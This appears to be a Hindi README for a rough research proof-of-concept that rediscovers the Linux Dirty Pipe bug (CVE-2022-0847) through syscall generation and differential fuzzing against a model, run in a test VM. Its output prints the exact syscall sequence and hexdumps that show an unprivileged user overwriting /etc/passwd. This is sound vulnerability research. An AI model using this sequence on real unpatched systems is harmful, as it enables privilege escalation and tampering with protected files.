
बहुत मोटा PoC CVE-2022-0847 (dirty pipe) का पता लगाने/दोहराने के लिए syscalls के यादृच्छिक उत्पादन और एक मॉडल के विरुद्ध डिफरेंशियल फज़िंग के माध्यम से।
CVE-2022-0847 (dirty pipe) का एक सरल डिटेक्टर और पुनरुत्पादक। यह सीमित बिल्डिंग ब्लॉक्स / इनपुट मानों (केवल जनरेशन, कोई उन्नत फ़ज़िंग नहीं; कोई म्यूटेशन नहीं; कोई कवरेज गाइडेंस नहीं; कोई श्रिंकिंग/मिनीमाइज़ेशन नहीं) से सिस्कॉल अनुक्रमों/प्रोग्रामों का एक सरल जनरेटर उपयोग करता है और प्रत्येक क्रिया के रिटर्न मानों की तुलना एक मॉडल और वास्तविक कर्नेल पर करके (मॉडल के विरुद्ध डिफरेंशियल फ़ज़िंग) स्टेटफुल प्रॉपर्टी-आधारित परीक्षण से प्रेरित तरीके से दुर्व्यवहार का पता लगाता है।
अस्वीकरण के रूप में: कोड ट्रिगरिंग न्यूनतम PoC उत्पन्न करने में सक्षम होने के लिए बिल्डिंग ब्लॉक्स में बहुत सारे मैजिक नंबर/हैक्स/अंतर्निहित मानों का उपयोग करता है। इसलिए यह सही पैरामीटर के साथ सही सिस्कॉल अनुक्रम उत्पन्न करने के यथार्थवादी तरीके का प्रतिनिधित्व करने में वास्तव में (केवल आधे-अधूरे तरीके से) सक्षम नहीं है। सभी मापदंडों पर बिना किसी मार्गदर्शन के बड़े संभावित स्टेट स्पेस में जनरेशन करना संभवतः बहुत अधिक समय लेगा।
मैंने उन सभी स्थानों को चिह्नित करने का प्रयास किया है जहां कोई मान या क्रियाओं का चुनाव स्वयं PoC के बारे में अनुमानित ज्ञान से सीधे प्रभावित होता है - और जिसे पूरी तरह से यथार्थवादी PoC के लिए बेतरतीब ढंग से खोजा जाना होगा - स्ट्रिंग "MAGIC VALUE" के साथ।
इसे एक बहुत ही मोटा प्रूफ-ऑफ-कॉन्सेप्ट के रूप में देखा जाना चाहिए।
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
आउटपुट:
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
ध्यान दें कि यह PoC, build-kernel-and-minimal-poc वाले से थोड़ा अलग है, क्योंकि syscalls का क्रम इस तरह बदल दिया गया है जो बग के लिए वास्तव में मायने नहीं रखता।
यह दर्शाता है कि मॉडल और वास्तविक दुनिया के SUT के विरुद्ध कमांड का लॉक-स्टेप निष्पादन इस स्थिति की सही पहचान भी करता है।